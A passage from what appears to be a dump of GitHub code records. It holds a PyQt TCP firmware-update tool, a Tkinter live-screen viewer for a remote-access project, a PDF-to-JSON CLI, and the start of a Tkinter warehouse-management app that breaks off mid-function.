num):\n super(TcpLogic, self).__init__(num)\n self.finish_all = None\n self.total = None\n self.send_socket = None\n self.tcp_socket = None\n self.sever_th = None\n self.client_th = None\n self.flag = 0\n self.arrs = []\n self.temm = 1\n self.client_socket_list = list()\n self.client_socket_lists = list()\n self.link = False # 用于标记是否开启了连接\n self.limit = 0\n self.need_packet_id = 0\n self.pushButton_backup.clicked.connect(self.send_backup)\n self.pushButton_restart_remote.clicked.connect(self.restart)\n # 初始化的时候加载bin文件 存储在这个数组里面\n self.pushButton_make_ip.clicked.connect(self.make_ip)\n def make_ip(self):\n btnDemo.show()\n def restart(self):\n self.tcp_send(init_code=Constant.remote_restart)\n\n def send_backup(self):\n self.tcp_send(init_code=self.backup())\n\n # 选择bin文件\n def getfiles(self):\n dlg = QFileDialog()\n dlg.setFileMode(QFileDialog.AnyFile)\n dlg.setFilter(QDir.Files)\n\n if dlg.exec_():\n filenames = dlg.selectedFiles()\n print(filenames)\n f = open(filenames[0], 'r')\n\n with f:\n data = f.read()\n self.contents.setText(data)\n\n def tcp_server_start(self):\n print(\"开启服务器...............\")\n if len(self.arrs) == 0:\n self.signal_write_msg.emit(\"【请加载bin文件,以免引起不必要的异常】\\n\")\n self.signal_write_msg.emit(\"【请加载bin文件,以免引起不必要的异常】\\n\")\n return\n \"\"\"\n 功能函数,TCP服务端开启的方法\n :return: None\n \"\"\"\n self.tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n # # 取消主动断开连接四次握手后的TIME_WAIT状态\n # self.tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 50)\n # # 设定套接字为非阻塞式\n # self.tcp_socket.setblocking(False)\n try:\n port = int(self.lineEdit_port.text())\n self.tcp_socket.bind(('', port)) # 监测本地IP地址 和指定的端口号\n except Exception as ret:\n msg = '请检查端口号\\n'\n self.signal_write_msg.emit(msg)\n\n else:\n print(\"服务器正在监听---------\")\n self.link = True\n self.pushButton_unlink.setEnabled(True)\n self.pushButton_link.setEnabled(False)\n self.tcp_socket.listen()\n self.sever_th = threading.Thread(target=self.tcp_server_concurrency)\n self.sever_th.start()\n msg = 'TCP服务端正在监听端口:%s\\n' % str(port)\n self.signal_write_msg.emit(msg)\n\n def tcp_server_concurrency(self):\n while True:\n clientsock, clientaddress = self.tcp_socket.accept()\n print('connect from:', clientaddress)\n msg = \"【检测到 客户端 :\" + str(clientaddress) + \"已经连接】\\n\"\n\n self.set_port(clientaddress[1])\n self.signal_write_msg.emit(msg)\n self.client_socket_list.append(clientaddress)\n self.client_socket_lists.append((clientsock, clientaddress))\n self.detect_is_alive()\n # 传输数据都利用clientsock,和s无关\n t = threading.Thread(target=self.tcplink, args=(clientsock, clientaddress)) # t为新创建的线程\n t.start()\n\n def set_port(self, port):\n \"\"\"\n :param port: 连接上的端口号\n :return: null\n \"\"\"\n id = self.combox_port_select.count()\n self.combox_port_select.insertItem(id, str(port))\n\n def tcplink(self, sock, addr):\n result = []\n index = 0\n while True:\n if self.combox_port_select.currentText() == \"all connections\":\n index = 5000\n else:\n index = int(self.combox_port_select.currentText())\n if addr[1] == index:\n self.send_socket = sock\n try:\n recvdata = sock.recv(2048)\n except:\n print(\"socket 出现异常数据\")\n sock.close()\n self.send_socket = None\n break\n result = []\n for i in recvdata:\n result.append(hex(i))\n if len(result) < 5:\n return\n self.signal_send_msg.emit(str(result) + \"\\n\")\n self.signal_send_msg.emit(\"----------------------\\n\")\n\n code, res = Constant.parse_receive(result)\n msg = \"收到远程发过来的数据,代号:\"+str(code)+\"\\n\"\n self.signal_write_msg.emit(msg)\n self.parse_code(code, res)\n if recvdata == 'exit' or not recvdata:\n break\n\n # clientsock.send(b' ')\n sock.close()\n self.send_socket = None\n\n def detect_is_alive(self):\n current = self.combox_port_select.currentText()\n temp = []\n temp_1 = []\n temp_num = []\n self.combox_port_select.clear()\n self.combox_port_select.insertItem(0, \"all connections\")\n for client, address in self.client_socket_lists:\n\n try:\n print(\"连接状态\")\n temp.append((client, address))\n temp_1.append(address)\n temp_num.append(address[1])\n except:\n self.combox_port_select.clearEditText()\n self.client_socket_lists = []\n self.client_socket_lists = list(set(temp))\n temp_num = list(set(temp_num))\n for strss in temp_num:\n self.combox_port_select.insertItem(1, str(strss))\n self.combox_port_select.setCurrentText(current)\n\n def parse_code(self, code, res):\n if code == 12:\n # if self.flag >= self.total:\n # self.tcp_send(data = str(Constant.finish))\n # return\n self.tcp_send(data=''.join(self.arrs[self.flag]))\n num_str = \"\\n【已经发送第\" + str(self.flag+1)+\"包数据】\\n\"\n self.signal_write_msg.emit(num_str)\n self.flag += 1\n # if self.flag == self.total:\n # # 所有的包发送完毕并且成功发送需要发送一条告诉设备已经发送完毕的指令\n # self.tcp_send(data=str(Constant.finish))\n elif code == 14:\n print(\"-------------\", self.flag, \"-------\", self.total)\n #self.progressBar.setValue((100 / 35) * self.flag)\n self.signal_progress_msg.emit((100 /(self.total+1)) * self.flag)\n if self.flag >= self.total:\n self.signal_write_msg.emit(\"【结束包正在发送......】\\n\")\n print(\"结束包正在发送---------\\n\")\n print(''.join(self.finish_all))\n self.tcp_send(data=''.join(self.finish_all))\n self.signal_write_msg.emit(\"【结束包发送成功---------】\\n\")\n print(\"结束包发送成功---------\\n\")\n return\n\n self.tcp_send(data=''.join(self.arrs[self.flag]))\n num_str = \"\\n【已经发送第\" + str(self.flag+1)+\"包数据】\\n\"\n self.signal_write_msg.emit(num_str)\n self.flag += 1\n # if self.flag == self.total:\n # # 所有的包发送完毕并且成功发送需要发送一条告诉设备已经发送完毕的指令\n # self.tcp_send(data = str(Constant.finish))\n elif code == 13:\n self.signal_write_msg.emit(\"【第%d包数据发送错误,正在重新发送....】\\n\" % (res + 1))\n self.tcp_send(data=''.join(self.arrs[res]))\n elif code == 33:\n self.signal_write_msg.emit('【写入错误】\\n')\n # self.get_error(self.flag-1)\n elif code == 39:\n if res >= self.total - 1:\n self.signal_write_msg.emit(\"【远程程序发送命令错误,没有下一包数据可以发送了】\")\n return\n if len(self.arrs) == 0:\n self.signal_write_msg.emit(\"【请先加载文件】\")\n return\n self.flag = res + 1\n self.need_packet_id = self.flag\n\n if self.limit > 5:\n self.limit = 0\n self.signal_write_msg.emit('【我已经尽力了,更新失败】\\n')\n else:\n print(\"发送的包序号\", self.flag)\n self.tcp_send(data=''.join(self.arrs[self.flag]))\n self.limit += 1\n elif code == 15:\n self.signal_write_msg.emit('【更新失败】\\n')\n elif code == 40:\n self.signal_write_msg.emit('【app源代码损坏,软件更新失败,请重置数据,或者选择恢复方式恢复】\\n')\n self.set_visiable()\n elif code == 41:\n self.signal_write_msg.emit('【恢复成功】\\n')\n self.set_visiable(is_visiable=1)\n elif code == 35:\n # 返回更新成功后需要初始化一些基本参数\n self.flag = 0\n self.limit = 0\n self.need_packet_id = 0\n self.flag = 0\n self.temm = 1\n self.signal_write_msg.emit(self.show_message_error(code))\n self.signal_progress_msg.emit(100)\n else:\n print(\"【位置异常,代号{}】\".format(code))\n\n\n def tcp_client_start(self):\n \"\"\"\n 功能函数,TCP客户端连接其他服务端的方法\n :return:\n \"\"\"\n self.tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n address = (str(self.lineEdit_ip_send.text()), int(self.lineEdit_port.text()))\n except Exception as ret:\n msg = '请检查目标IP,目标端口\\n'\n self.signal_write_msg.emit(msg)\n else:\n try:\n msg = '正在连接目标服务器\\n'\n self.signal_write_msg.emit(msg)\n self.tcp_socket.connect(address)\n except Exception as ret:\n msg = '无法连接目标服务器\\n'\n self.signal_write_msg.emit(msg)\n else:\n self.client_th = threading.Thread(target=self.tcp_client_concurrency, args=(address,))\n self.client_th.start()\n msg = '【TCP客户端已连接IP:%s端口:%s】\\n' % address\n self.signal_write_msg.emit(msg)\n\n def get_error(self, error_id):\n if error_id < 100 and error_id > 0:\n return \"更新数据第{}包发送有误\".format(error_id + 1)\n if error_id == 0:\n return \"初始请求更新数据失败\"\n if error_id == 102:\n return \"结束命令发送有误\"\n if error_id >= self.total - 1:\n return \"结束包发送有误\"\n\n def tcp_client_concurrency(self, address):\n \"\"\"\n 功能函数,用于TCP客户端创建子线程的方法,阻塞式接收\n :return:\n \"\"\"\n while True:\n recv_msg = self.tcp_socket.recv(1024)\n if recv_msg:\n msg = recv_msg.decode('utf-8')\n msg = '\\n【来自IP:{}端口:{}:】\\n'.format(address[0], address[1])\n self.signal_write_msg.emit(msg)\n else:\n self.tcp_socket.close()\n self.reset()\n msg = '【从服务器断开连接】\\n'\n self.signal_write_msg.emit(msg)\n break\n\n # 重置界面上的数据文件,重新加载文件\n def reset_data(self):\n self.arrs = []\n self.finish_all = None\n self.flag = 0\n self.total = None\n self.signal_write_msg.emit(\"【恭喜您,数据已重置】\\n\")\n self.progressBar.setValue(0)\n temp = self.combox_port_select.currentText()\n self.combox_port_select.clear()\n self.combox_port_select.insertItem(0, temp)\n\n def tcp_send(self, data=None, init_code=None):\n arras = ''\n \"\"\"\n 功能函数,用于TCP服务端和TCP客户端发送消息\n :return: None\n \"\"\"\n send_msg = None\n\n if self.link is False:\n msg = '【请选择服务,并点击连接网络】\\n'\n self.signal_write_msg.emit(msg)\n elif len(self.arrs) == 0:\n self.signal_write_msg.emit(\"没有加载文件\")\n self.show_error_for_loadfile()\n else:\n try:\n if init_code is not None:\n send_msg = init_code\n print(\"-------------------需要的发送格式要求-----------------------\")\n print(send_msg)\n print(type(send_msg))\n elif data is None:\n send_msg = (str(self.textEdit_send.toPlainText())).encode('utf-8')\n else:\n # send_msg = bytes(data, encoding=\"utf8\")\n # print(\"--------------2数据的长度为:\", len(data))\n if len(data) == 2065:\n arras = data[:2064] + '0' + data[-1]\n send_msg = codecs.decode(arras, 'hex_codec')\n else:\n send_msg = codecs.decode(data, 'hex_codec')\n # temp_send = b\"\"\n # for i in send_msg:\n # temp_send +=i\n # send_msg = temp_send\n print(\"--------------------发出的数据-----------------\")\n print(send_msg)\n if self.comboBox_tcp.currentIndex() == 0:\n # 向所有连接的客户端发送消息\n # for client, address in self.client_socket_list:\n # if init_code == None:\n # update = b'\\xFF\\xFF\\x00\\x27\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEE\\xEE\\x28'\n if self.flag > 1:\n print(send_msg)\n print(\"正在发送----------\", self.flag)\n self.send_socket.send(send_msg)\n print(\"发送完成----------\", self.flag)\n msg = 'TCP服务端已发送\\n'\n self.signal_write_msg.emit(msg)\n if self.comboBox_tcp.currentIndex() == 1:\n self.send_socket.send(send_msg)\n print(\"-----发送\")\n msg = 'TCP客户端已发送\\n'\n self.signal_write_msg.emit(msg)\n except Exception as ret:\n msg = '发送失败\\n'\n self.signal_write_msg.emit(msg)\n\n def tcp_close(self):\n \"\"\"\n 功能函数,关闭网络连接的方法\n :return:\n \"\"\"\n if self.comboBox_tcp.currentIndex() == 0:\n self.combox_port_select.clear()\n self.combox_port_select.insertItem(0, \"all connections\")\n try:\n\n for client, address in self.client_socket_lists:\n client.close()\n self.tcp_socket.close()\n if self.link is True:\n msg = '已断开网络\\n'\n self.signal_write_msg.emit(msg)\n self.combox_port_select.clear()\n self.combox_port_select.insertItem(0, \"all connections\")\n except Exception as ret:\n pass\n if self.comboBox_tcp.currentIndex() == 1:\n try:\n self.tcp_socket.close()\n if self.link is True:\n msg = '已断开网络\\n'\n self.signal_write_msg.emit(msg)\n except Exception as ret:\n pass\n try:\n stopThreading.stop_thread(self.sever_th)\n except Exception:\n pass\n try:\n stopThreading.stop_thread(self.client_th)\n except Exception:\n pass\n\n # ------------------------bin文件解析--------------------\n def dec2hexstr(self, n):\n ss = str(hex(n))\n ss = ss[2:]\n if n <= 15:\n ss = '0' + ss\n return ss\n\n # crc校验\n def uchar_checksum(self, data, byteorder='little'):\n '''\n char_checksum 按字节计算校验和。每个字节被翻译为无符号整数\n @param data: 字节串\n @param byteorder: 大/小端\n '''\n length = len(data)\n checksum = 0\n for i in range(0, length):\n checksum += int(data[i], 16)\n checksum &= 0xFF # 强制截断\n\n return checksum\n\n def read_bin(self, filename):\n self.reset_data()\n length = int(os.path.getsize(filename) / 1024)\n if os.path.getsize(filename)/1024>length:\n length = length+1\n print(\"一共多少包:\", length)\n file = open(filename, 'rb')\n i = 0\n arr = []\n m = 0\n # 初始结束命令\n zero = Constant.get_finish0('a')\n self.finish_all = self.get_str(zero)\n while 1:\n\n if i >= 1024:\n print(length)\n print(m)\n arr.insert(0, 'aa')\n arr.insert(0, 'aa')\n arr.insert(0, 'aa')\n arr.insert(3, '27')\n arr.insert(4, self.dec2hexstr(m))\n arr.append('ee')\n arr.append('ee')\n arr.append('ee')\n result = Constant.checkout_custom_long(arr[3:1029])\n arr.append(result[2:4])\n self.arrs.append(arr)\n print(arr)\n arr = []\n m = m + 1\n i = 0\n if m == length:\n self.show_message()\n break\n\n c = file.read(1)\n\n ssss = str(binascii.b2a_hex(c))[2:-1]\n if ssss == '':\n ssss = 'FF'\n arr.append(ssss)\n i += 1\n\n self.total = m\n print(\"总共有多少数据:----------\")\n print(self.total)\n file.close()\n\n def get_str(self, arrss):\n arrss.insert(0, 'aa')\n arrss.insert(0, 'aa')\n arrss.insert(0, 'aa')\n arrss.insert(3, '28')\n arrss.insert(4, self.dec2hexstr(0))\n arrss.append('ee')\n arrss.append('ee')\n arrss.append('ee')\n result = Constant.checkout_custom_long(arrss[3:1029])\n arrss.append(result[2:4])\n print(arrss)\n print(\"*\" * 50)\n return arrss\n\n def set_visiable(self, is_visiable=0):\n if is_visiable == 0:\n self.combobox_backup.setDisabled(False)\n self.pushButton_backup.setDisabled(False)\n self.pushButton_restart_remote.setDisabled(False)\n else:\n self.combobox_backup.setDisabled(True)\n self.pushButton_backup.setDisabled(True)\n self.pushButton_restart_remote.setDisabled(True)\n\n # 3A当写入失败的时候开启是从更新区恢复还是从备份区恢复\n def backup(self):\n init_code = None\n if self.combobox_backup.currentIndex() == 0:\n print(\"从更新区恢复命令已经发送\")\n # 从更新区恢复\n init_code = Constant.from_update_recover\n\n elif self.combobox_backup.currentIndex() == 1:\n print(\"从备份区恢复命令已经发送\")\n # 从备份区恢复\n init_code = Constant.update_from_backup\n\n else:\n self.signal_write_msg.emit(\"【调试助手出现异常】\")\n return \"\"\n # self.combobox_backup.setDisabled(False)\n # self.pushButton_backup.setDisabled(False)\n return init_code\n\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n ui = TcpLogic(1)\n btnDemo = MyDialog()\n\n ui.show()\n sys.exit(app.exec_())\n","repo_name":"jeekMic/tcp_udp","sub_path":"tcp_logic.py","file_name":"tcp_logic.py","file_ext":"py","file_size_in_byte":20337,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"36759385753","text":"# Socket\nimport io\n\n# Tkinter\nimport tkinter as tk\n\n# Thread\nfrom threading import Thread\nfrom tkinter import Canvas\nfrom tkinter.filedialog import asksaveasfile\n\nimport socketio\n\n# Image\nfrom PIL import Image, ImageTk\n\n\nclass Desktop_UI(Canvas):\n def __init__(self, parent: tk.Tk, sio: socketio.Client):\n Canvas.__init__(self, parent)\n self.configure(\n # window,\n bg=\"#FCD0E8\",\n height=600,\n width=1000,\n bd=0,\n highlightthickness=0,\n relief=\"ridge\",\n )\n self.place(x=0, y=0)\n\n # copy socket connection to own attribute\n self.sio = sio\n\n # initialize status to ready receiving data\n self.status = True\n\n # initialize the sentinel of saving image command\n self.on_save = False\n\n # label to display frames received from server\n self.label = tk.Label(self)\n self.label.place(x=20, y=0, width=960, height=540)\n\n # a button to save captured screen\n self.btn_save = tk.Button(\n self, text=\"Save\", command=lambda: self.click_save(), relief=\"flat\"\n )\n self.btn_save.place(x=320, y=560, width=50, height=30)\n\n # a button to stop receiving and return to main interface\n self.btn_back = tk.Button(\n self, text=\"Back\", command=lambda: self.click_back(), relief=\"flat\"\n )\n self.btn_back.place(x=630, y=560, width=50, height=30)\n\n # thread\n self.start = Thread(target=self.ChangeImage, daemon=True)\n self.start.start()\n\n # display frames continously\n def ChangeImage(self):\n @self.sio.on(\"LIVESCREEN:stream\")\n def stream(data: bytes):\n img_PIL = Image.open(io.BytesIO(data)).resize((960, 540), Image.ANTIALIAS)\n img_tk = ImageTk.PhotoImage(img_PIL)\n self.label.configure(image=img_tk)\n self.label.image = img_tk # type: ignore\n\n self.frame = data\n\n def click_back(self):\n self.status = False\n\n self.sio.emit(\"LIVESCREEN:stop\", \"\")\n\n self.place_forget()\n\n def click_save(self):\n self.on_save = True\n self.sio.emit(\"LIVESCREEN:stop\", \"\")\n\n self.save_img()\n self.on_save = False\n self.sio.emit(\"LIVESCREEN:start\", \"\")\n\n def save_img(self):\n if self.frame is None:\n return\n\n types = [(\"Portable Network Graphics\", \"*.png\"), (\"All Files\", \"*.*\")]\n img_file = asksaveasfile(mode=\"wb\", filetypes=types, defaultextension=\"*.png\")\n if img_file is None:\n return\n img_file.write(self.frame)\n","repo_name":"DuckyMomo20012/email-remote-access","sub_path":"src/clientApp/live_screen_client.py","file_name":"live_screen_client.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37339150601","text":"from pathlib import Path\nfrom nodejs import node, npm, npx\nimport typer\n\nfrom .process import processJSON\n\napp = typer.Typer(\n name = \"pdf-dataset-process\",\n help = \"Process a PDF dataset to a JSONL file.\",\n no_args_is_help=True\n)\n\n@app.command(\"init\", help=\"Initialize the project.\")\ndef init():\n \"\"\"\n Initialize the project.\n \"\"\"\n npm.call(['i', 'pdf2json'])\n \n \n@app.command(\"mkjson\", help=\"Process a PDF dataset to a JSONL file.\")\ndef mkjson(\n file: str = typer.Option(None, '-f', '--file')\n ):\n \"\"\"\n Process a PDF dataset to a JSONL file.\n \"\"\"\n firstPDF = next(Path().cwd().glob(\"*.pdf\"), None)\n if firstPDF:\n typer.echo(f\"Processing {firstPDF}\")\n elif file:\n typer.echo(f\"Processing {file}\")\n firstPDF = file\n else:\n typer.echo(\"No PDF files found.\")\n \n if firstPDF:\n path = Path(firstPDF).resolve()\n npx.call(['pdf2json', str(path), path.with_suffix('.json')])\n \n else:\n typer.echo(\"No PDF files found.\")\n \n@app.command(\"process-json\", help=\"Process a PDF converted to JSON to produce a flat dataset.\")\n@app.command(\"pjson\", help=\"Process a PDF converted to JSON to produce a flat dataset. Alias of `process-json`\")\ndef doprocess(\n file: str = typer.Option(None, '-f', '--file')\n ):\n firstJSON = next(Path().cwd().glob(\"*.json\"), None)\n if firstJSON:\n typer.echo(f\"Processing {firstJSON}\")\n elif file:\n typer.echo(f\"Processing {file}\")\n firstJSON = file\n else:\n typer.echo(\"No JSON-PDF files found.\")\n typer.Exit(1)\n processJSON(firstJSON)\n ","repo_name":"arnos-stuff/pdf-data-process","sub_path":"pdfdataprocess/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4179905266","text":"from tkinter import *\nfrom tkinter import filedialog\nfrom tkinter import ttk\nimport sqlite3 as sql\nimport numpy as np\nfrom tkinter import messagebox\nimport uuid\nfrom datetime import datetime\nfrom tkcalendar import DateEntry\nfrom matplotlib import pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nimport io\nfrom PIL import ImageTk, Image\n\nmain_page = Tk()\nregister_page = Toplevel()\nlogin_page = Toplevel()\nproduct_page = Toplevel()\nuser_page = Toplevel()\nchart_page = Toplevel()\nstock_page = Toplevel()\nreceipt_page = Toplevel()\nrequest_page = Toplevel()\norder_page = Toplevel()\nexit_page = Toplevel()\nhistory_page = Toplevel()\nsodorbill_page = Toplevel()\nbill_page = Toplevel()\n\n\nclass Phone_number:\n def __set_name__ (self,instance,key):\n self.key=key\n\n def __get__ (self,instance,owner):\n return instance.__dict__[self.key]\n \n def __set__ (self,instance,value):\n if len(value) == 11 and value.isdigit() and value[0] == '0':\n instance.__dict__[self.key]=value\n else:\n instance.__dict__[self.key]='Error!'\n\n def __delete__ (self,instance):\n del instance.dict[self.key]\n\nclass App:\n '''\n production time : 2023/04\n App builder : Mohammad Panahi Nik\n \n '''\n phoneNum=Phone_number()\n\n def __init__(self,event=None):\n main_page.state('withdraw')\n register_page.state('withdraw')\n login_page.state('withdraw')\n product_page.state ('withdraw')\n user_page.state ('withdraw')\n stock_page.state ('withdraw')\n receipt_page.state ('withdraw')\n request_page.state('withdraw')\n order_page.state('withdraw')\n exit_page.state('withdraw')\n history_page.state('withdraw')\n sodorbill_page.state('withdraw')\n bill_page.state('withdraw')\n chart_page.state('withdraw')\n self.btnState = False\n self.permission=False\n self.style=ttk.Style()\n self.lst=[]\n self.search_list=[]\n\n self.main()\n self.add_product_page()\n self.warehouse_stock_page()\n self.add_user_page()\n self.warehouse_receipt_page()\n self.warehouse_login_page()\n self.warehouse_register_page()\n self.check_exist_user()\n self.request_product_page()\n self.order_kala_page()\n self.exit_kala_page()\n self.order_history_page()\n self.sodor_bill_kala_page()\n self.bill_kala_page()\n self.chartkala_page()\n\n self.update_time()\n self.update_time_product()\n self.update_time_user()\n self.update_time_stock()\n self.update_time_receipt()\n self.update_time_request()\n self.update_time_order()\n self.update_time_exit()\n self.update_time_history()\n self.update_time_bill()\n\n def main(self):\n main_page.geometry('1400x800+250+100')\n main_page.configure(bg='white')\n main_page.title('نرم افزار انبارداری')\n main_page.resizable(False,False)\n main_page.iconbitmap('image/warehouseIco.ico')\n \n #image\n self.addUserImg=PhotoImage(file='image/adduserImg.png')\n self.addWareImg=PhotoImage(file='image/addWareImg.png')\n self.WrStockImg=PhotoImage(file='image/WrStockImg.png')\n self.ReceiptImg=PhotoImage(file='image/ReceiptImg.png')\n self.requestImg=PhotoImage(file='image/requestImg.png')\n self.issuanceImg=PhotoImage(file='image/fishBtnMenuImg.png')\n self.homePageBtnImg=PhotoImage(file='image/homePageBtnImg.png')\n self.exitImg=PhotoImage(file='image/exitImg.png')\n self.sabtSefareshBtnImg=PhotoImage(file='image/sabtSefareshBtnImg.png')\n self.exitKalaBtnMenuImg=PhotoImage(file='image/exitKalaBtnMenuImg.png')\n self.closeBtnImg=PhotoImage(file='image/closeImg.png')\n self.openBtnImg=PhotoImage(file='image/openNavImg.png')\n self.historyBtnImg=PhotoImage(file='image/historyOrderBtnImg.png')\n self.bgDateImg=PhotoImage(file='image/bgDateImg.png')\n self.mainBgImg=PhotoImage(file='image/mainPageBg.png')\n \n self.l_mainPageBg=Label(main_page,image=self.mainBgImg, height=800,width=1400,bd=0)\n self.dateFrm=Label(main_page,image=self.bgDateImg, height=45,width=320,bd=0,bg='white')\n self.time_label=Label(self.dateFrm)\n self.date_label=Label(self.dateFrm)\n self.navFrm=Frame(main_page,height=800,width=220,bg='#777777',bd=0)\n self.b_home_page=Button(self.navFrm,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_addUser=Button(self.navFrm,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',command=self.open_addUser_page)\n self.b_addWare=Button(self.navFrm,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',command=self.open_addKala_page)\n self.b_WrStock=Button(self.navFrm,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',command=self.open_stock_page)\n self.b_Receipt=Button(self.navFrm,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',command=self.open_receipt_page)\n self.b_request=Button(self.navFrm,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',command=self.open_request_page)\n self.b_sabtSefareshPage=Button(self.navFrm,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.open_sabtSefaresh_page)\n self.b_sabtExitKalaPage=Button(self.navFrm,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',command=self.open_sabtExit_page)\n self.b_historyOrder=Button(self.navFrm,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.open_history_page)\n self.b_bill_main=Button(self.navFrm,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',command=self.open_sodorbill_page)\n self.b_exit=Button(self.navFrm,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n\n self.l_mainPageBg.place(x=0,y=0)\n self.dateFrm.place(x=0,y=0)\n self.date_label.place(x=15,y=4)\n self.time_label.place(x=190,y=4)\n self.navFrm.place(x=1180,y=0)\n self.b_home_page.place(x=0,y=0)\n self.b_addWare.place(x=0,y=65)\n self.b_addUser.place(x=0,y=130)\n self.b_WrStock.place(x=0,y=195)\n self.b_Receipt.place(x=0,y=260)\n self.b_request.place(x=0,y=325)\n self.b_sabtSefareshPage.place(x=0,y=390)\n self.b_sabtExitKalaPage.place(x=0,y=455)\n self.b_historyOrder.place(x=0,y=520)\n self.b_bill_main.place(x=0,y=585)\n self.b_exit.place(x=0,y=650)\n\n def update_time(self):\n now = datetime.now()\n self.current_time = now.strftime(\"%H:%M:%S\")\n self.current_date = now.strftime(\"%Y/%m/%d\")\n self.time_label.config(text=f\"{self.current_time}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label.config(text=f\"{self.current_date}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm.after(1000, self.update_time)\n\n def open_addKala_page(self):\n self.navFrm_product.place(x=1180, y=0)\n self.data_to_list_kala()\n product_page .state('normal')\n main_page.state('withdraw')\n self.btnState = True\n\n def open_history_page(self):\n self.navFrm_history.place(x=1180, y=0)\n self.data_to_list_history()\n history_page.state('normal')\n main_page.state('withdraw')\n self.btnState = True\n\n def open_sodorbill_page(self):\n self.navFrm_bill.place(x=1180, y=0)\n sodorbill_page .state('normal')\n main_page.state('withdraw')\n self.btnState = True\n\n def open_addUser_page(self):\n self.navFrm_user.place(x=1180, y=0)\n self.data_to_list_user()\n user_page.state('normal')\n main_page.state('withdraw')\n self.btnState = True\n \n def open_stock_page(self):\n self.navFrm_stock.place(x=1180, y=0)\n self.data_to_list_stock()\n stock_page.state('normal')\n main_page.state('withdraw')\n self.btnState = True\n \n def open_receipt_page(self):\n self.navFrm_receipt.place(x=1180, y=0)\n receipt_page.state('normal')\n main_page.state('withdraw')\n self.btnState = True\n\n def open_request_page(self):\n self.navFrm_request.place(x=1180, y=0)\n self.data_to_list_request()\n request_page.state('normal')\n main_page.state('withdraw')\n self.btnState = True\n\n def open_sabtSefaresh_page(self):\n self.navFrm_order.place(x=1180, y=0)\n self.data_to_list_order()\n order_page.state('normal')\n main_page.state('withdraw')\n self.btnState = True\n\n def open_sabtExit_page(self):\n self.navFrm_exit.place(x=1180, y=0)\n self.data_to_list_exit()\n exit_page.state('normal')\n main_page.state('withdraw')\n self.btnState = True\n\n#_____________________________________________________________________________________________________________________\n#_________________________________________________login page__________________________________________________________\n def warehouse_login_page(self):\n login_page.geometry('400x510+1000+300')\n login_page.configure(bg='white')\n login_page.title('نرم افزار انبارداری')\n login_page.resizable(False,False)\n login_page.iconbitmap('image/warehouseIco.ico')\n\n self.logoImg = PhotoImage(file='image/logoImg.png')\n self.logBtnImg = PhotoImage(file='image/loginBtn.png')\n self.eyeImg = PhotoImage(file='image/openEye.png')\n\n self.logoImgLog = Label(login_page,image=self.logoImg,bg='white')\n self.l_userIdLog = Label(login_page,text=' : کد کاربری',font=('Lalezar',17),bg='white')\n self.e_userIdLog = Entry(login_page,font=('arial',18),justify=RIGHT,bd=2,relief='solid')\n self.l_passwordLog = Label(login_page,text=' : رمز عبور',font=('Lalezar',17),bg='white')\n self.e_passwordLog = Entry(login_page,font=('arial',18),justify=RIGHT,bd=2,relief='solid',show='*')\n self.showBtn = Button(login_page,image=self.eyeImg,bd=0,activebackground='white')\n self.b_enterBtn =Button(login_page,image=self.logBtnImg ,activebackground='white',bd=0,command=self.logIn)\n self.l_register_log = Label(login_page,text='ثبت حساب جدید',font=('Lalezar',17),bg='white',fg='#00348E',cursor='hand2')\n self.b_enterBtn =Button(login_page,image=self.logBtnImg ,activebackground='white',bd=0,command=self.logIn)\n\n self.logoImgLog.place(x=135,y=10)\n self.l_userIdLog.place(x=250,y=175)\n self.e_userIdLog.place(x=80,y=215)\n self.l_passwordLog.place(x=270,y=275)\n self.e_passwordLog.place(x=80,y=316)\n self.showBtn.place(x=20,y=310)\n self.l_register_log.place(x=125,y=450)\n self.b_enterBtn.place(x=120,y=380)\n\n self.e_userIdLog.focus()\n self.l_register_log.bind('',self.login_to_register )\n self.e_userIdLog.bind('',lambda event : self.e_passwordLog.focus())\n self.e_passwordLog.bind('',lambda event : self.b_enterBtn.focus())\n self.showBtn.bind('',self.funcShow)\n\n def login_to_register(self,event=None):\n register_page.state('normal')\n login_page.state('withdraw')\n self.e_userIdLog.delete(0,END)\n self.e_passwordLog.delete(0,END)\n self.e_userIdLog.focus()\n\n def funcShow(self,event=None):\n if self.e_passwordLog['show']=='*':\n self.e_passwordLog['show']=''\n self.eyeImg['file']='image/closeEye.png'\n else:\n self.e_passwordLog['show']='*'\n self.eyeImg['file']='image/openEye.png'\n \n def logIn(self):\n lst=[]\n self.log_peremision=False\n userId =self.e_userIdLog.get()\n userPass =self.e_passwordLog.get()\n self.con=sql.connect('mydb.db')\n\n if userId == '' or userPass == '': \n messagebox.showerror('ERROR', '!کد کاربری یا رمز عبور را وارد نکرده اید ')\n self.e_userIdLog.delete(0,END)\n self.e_passwordLog.delete(0,END)\n self.e_userIdLog.focus()\n else:\n self.cur=self.con.cursor()\n row=self.cur.execute('SELECT * FROM admins')\n row=list(row)\n for i in row:\n lst.append(i)\n for i in lst: \n if i[0]==userId and i[3]==userPass:\n self.log_peremision = True\n 